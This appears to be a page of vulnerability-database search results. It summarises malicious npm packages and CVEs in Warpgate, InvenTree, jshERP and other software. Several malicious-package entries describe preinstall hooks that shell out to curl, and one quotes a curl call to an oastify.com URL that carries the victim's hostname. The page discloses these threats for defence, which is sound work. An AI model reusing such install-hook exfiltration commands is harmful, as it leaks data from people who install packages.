2102211 matches found
MAL-2026-16359 Malicious code in @uh-platform/domain-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...
MAL-2026-16362 Malicious code in @uh-platform/webcard (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...
MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...
MAL-2026-16361 Malicious code in @uh-platform/nadaver2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458 The package's package.json declares a preinstall lifecycle hook that runs node index.js. index.js invokes childprocess.exec on a curl command whose U...
CVE-2026-91167 Warpgate: Missing authorization check on `PUT /users/:id/roles/:role_id` allows any admin to bypass the `AccessRolesAssign` permission boundary
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.28.4, PUT /@warpgate/admin/api/users/:id/roles/:roleid reaches apiupdateuserrole in warpgate-admin/src/api/users.rs through AdminContext but does not require AdminPermission::AccessRolesAssign. A limited...
CVE-2026-91166 Warpgate: Web SSH stores a jump host's key against the target's address, so it validates as the target
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.25.0 until 0.27.6, the browser SSH path in warpgate-web-ssh/src/manager.rs handles RCEvent::HostKeyUnknown without the presenting hop identity and instead passes sshoptions.host and sshoptions.port for the final target...
CGA-PVW3-496Q-GMR7
Bulletin has no description...
CGA-9R2M-GQ2P-MJ52
Bulletin has no description...
CGA-7R28-QCJ8-P8W5
Bulletin has no description...
CGA-C2V4-F25R-7GJ8
Bulletin has no description...
CGA-P2H7-H5HX-8835
Bulletin has no description...
CGA-R4HJ-2R4J-QC4M
Bulletin has no description...
CVE-2026-91165 Warpgate: Markup injection in SSO form_post return page via unencoded redirect/error values
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.27.6, the responsemode=formpost SSO return path in warpgate-protocol-http/src/api/ssoproviderlist.rs uses serdejson::tostring inside ReturnToSsoPostResponse without neutralizing a script-closing sequence. The...
CVE-2026-91164 Warpgate: API tokens bypass the user's allowed_ip_ranges restriction
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.23.0 until 0.27.3, HTTP API token authentication resolves ConfigProvider::validateapitoken into RequestAuthorization::UserToken without enforcing the owning user's allowedipranges against the trusted client address in...
CVE-2026-63330 Warpgate: Missing Admin Authorization on Live Recording Stream WebSocket Allows Any Authenticated User to Eavesdrop on Terminal Sessions
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, apigetrecordingstream in warpgate-admin/src/api/recordingsdetail.rs protects /@warpgate/admin/api/recordings/uuid/stream only with session authentication and omits requireadminpermission for...
CVE-2026-63329 Warpgate: x-warpgate-username Header Not Stripped from Client Requests Enables Identity Spoofing to WebSocket Backend Targets
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, copyserverrequest in warpgate-protocol-http/src/proxy.rs forwards a client-supplied x-warpgate-username header before injectownheaders appends the authenticated username. Because the request builder preserves...
CVE-2026-58491 Warpgate: Reflected XSS in SSO return endpoint via attacker-controlled next parameter
Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.5, the /@warpgate/api/sso/providers/:name/start endpoint stores an attacker-controlled next parameter that the POST /@warpgate/api/sso/return handler inserts without HTML escaping into the response generated by...
CLSA-2026-1790016470 TuxCare security update for browserslist (1 CVE)
TuxCare rebuilt browserslist to address 1 CVE. Fixed in 4.10.0-tuxcare.4...
CVE-2026-61748 InvenTree: Report/Label print endpoints ignore per-model permissions
InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, ReportPrint at POST /api/report/print/ and LabelPrint at POST /api/report/label/print/ require authentication but do not call users.permissions.checkuserpermission for the caller's per-model view role before selecting object...
ROOT-APP-PYPI-CVE-2026-35536 CVE-2026-35536 in tornado - Patched by Root
Root has patched CVE-2026-35536 in the tornado package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-31958 CVE-2026-31958 in tornado - Patched by Root
Root has patched CVE-2026-31958 in the tornado package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-82397 CVE-2026-82397 in tornado - Patched by Root
Root has patched CVE-2026-82397 in the tornado package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-49853 CVE-2026-49853 in tornado - Patched by Root
Root has patched CVE-2026-49853 in the tornado package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-49855 CVE-2026-49855 in tornado - Patched by Root
Root has patched CVE-2026-49855 in the tornado package for Root:PyPI. Multiple fixed versions available...
CVE-2026-61746 InvenTree: Plugin-settings GET endpoints are readable without authentication
InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, PluginSettingList, PluginAllSettingList, and PluginSettingDetail set GlobalSettingsPermissions without the IsAuthenticated permission used by the project default and equivalent global-settings endpoints...
CVE-2026-61744 InvenTree: Barcode-scan API (`POST /api/barcode/`) returns full serialized object data without enforcing the model's view role
InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, POST /api/barcode/ accepts an attacker-synthesized internal JSON barcode containing a lowercase model label and integer primary key, while BarcodeView uses IsAuthenticatedOrReadScope and requires only authentication or a...
CLSA-2026-1790016280 TuxCare security update for fast-uri (1 CVE)
TuxCare rebuilt fast-uri to address 1 CVE. Fixed in 3.0.3-tuxcare.3...
CVE-2026-61747 InvenTree: Authenticated IDOR in the data-import API exposes other users' imported rows (`row_data`/`data`) and column mappings
InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the /api/importer/row/ and /api/importer/mapping/ endpoints do not scope DataImportRow and DataImportColumnMap querysets to the owner of the associated DataImportSession. Any authenticated user, including an account with no...
CVE-2026-17052 Missing user-pointer validation in tgpio_pin_read_ts_ec syscall handler allows arbitrary supervisor-memory write from userspace
The Time-aware GPIO syscall verification handler zvrfytgpiopinreadtsec in drivers/timeawaregpio/timeawaregpiohandlers.c validated only the port device object and passed the caller-supplied timestamp and eventcount output pointers to the driver without a KSYSCALLMEMORYWRITE check. The other handle...
CGA-M68R-X9JQ-5HFF
Bulletin has no description...
CGA-MG56-R53J-JVXX
Bulletin has no description...
CGA-6248-7GX8-JPP5
Bulletin has no description...
CGA-CPQJ-9XF9-WP9G
Bulletin has no description...
CGA-WC38-J273-H2V7
Bulletin has no description...
CGA-CJ89-3G3G-RGJJ
Bulletin has no description...
USN-8798-1 gst-plugins-good1.0 vulnerabilities
It was discovered that GStreamer Good Plugins incorrectly parsed certain MRF files. A remote attacker could possibly use this issue to execute arbitrary code. CVE-2026-18295, CVE-2026-18296 It was discovered that GStreamer Good Plugins incorrectly parsed certain PNG files. A remote attacker could...
CVE-2026-61749 InvenTree: Administrative staff users can trigger Arbitrary File Read leading to Credential Disclosure
InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, privileged staff users who can author report or label templates can cause WeasyPrint report rendering to retrieve attacker-selected resources through the HTTP and HTTPS URL schemes or the local file URI scheme. The...
CGA-8JMQ-WRMH-FFVW
Bulletin has no description...
DEBIAN-CVE-2026-92382
An out-of-bounds write flaw was found in usbredir. Starting an isochronous OUT stream with a transfer count of 1 leaves the stream's single transfer buffer permanently unsubmitted, defeating the bounds check in usbredirhostisopacket and allowing a usbredir peer to write past the end of the packet...
CVE-2026-94501 jshERP through 3.6 Privilege Escalation via userBusiness CRUD
jshERP through 3.6 contains an authorization bypass vulnerability in the userBusiness CRUD endpoints that allows authenticated users to create, modify, or delete authorization-relation rows without privilege checks. Attackers can manipulate user-role mappings and access controls to escalate...
CVE-2026-94497 jshERP through 3.6 Unauthorized Access via by-id Endpoints
jshERP through 3.6 fails to validate object ownership in by-id info, update, and delete endpoints across multiple resource types. Authenticated users can read, modify, and delete other users' business objects by submitting direct object identifiers without authorization checks...
CVE-2026-94496 jshERP through 3.6 Privilege Escalation via Role Management
jshERP through 3.6 fails to validate caller permissions in role management endpoints, allowing authenticated users to modify any role's data scope or delete roles. Attackers can exploit the /role/update and /role/delete endpoints to escalate privileges, change data visibility to all data, and...
CVE-2026-94495 jshERP through 3.6 Missing Authorization via systemConfig
jshERP through 3.6 fails to properly validate user privileges in SystemConfigService.updateSystemConfig, allowing authenticated users to modify tenant system configuration. Attackers can rewrite or delete tenant-wide settings covering company identity, stock rules, approval behavior, and printing...
CVE-2026-94494 jshERP through 3.6 Tenant Information Disclosure via GET /tenant/info
jshERP through 3.6 contains a tenant isolation bypass vulnerability that allows authenticated users to read other tenants' records via the GET /tenant/info endpoint. Attackers can iterate the primary key to enumerate and access sensitive tenant data including login names, validity dates, user...
CVE-2026-94414 jshERP through 3.6 Missing Authorization via updateBtnStr
jshERP through 3.6 is missing an authorization check on the POST /userBusiness/updateBtnStr endpoint that allows authenticated users to modify role button-permission definitions. Attackers can supply arbitrary roleId and btnStr parameters to overwrite button-permission configurations for any role...
CVE-2026-94413 jshERP through 3.6 Password Hash Disclosure via /user/info
jshERP through 3.6 fails to redact password hashes in the /user/info endpoint, allowing authenticated users to retrieve unsalted MD5 password digests for any user. Attackers can request arbitrary user information by supplying user IDs to obtain password hashes usable for offline cracking or direc...
CVE-2026-94412 jshERP through 3.6 Authorization Bypass via resetPwd
jshERP through 3.6 contains an authorization bypass vulnerability in the POST /user/resetPwd endpoint that allows authenticated users to reset any other user's password. Attackers can submit a request with an arbitrary target user ID to reset that account's password to a known default value,...
CVE-2026-94411 jshERP 3.6 Privilege Escalation via updateOneValueByKeyIdAndType
jshERP 3.6 contains a privilege escalation vulnerability in the updateOneValueByKeyIdAndType endpoint that allows authenticated users to grant themselves arbitrary roles. Attackers can send a POST request with type=UserRole, their own user ID, and a role ID list to escalate from low-privilege...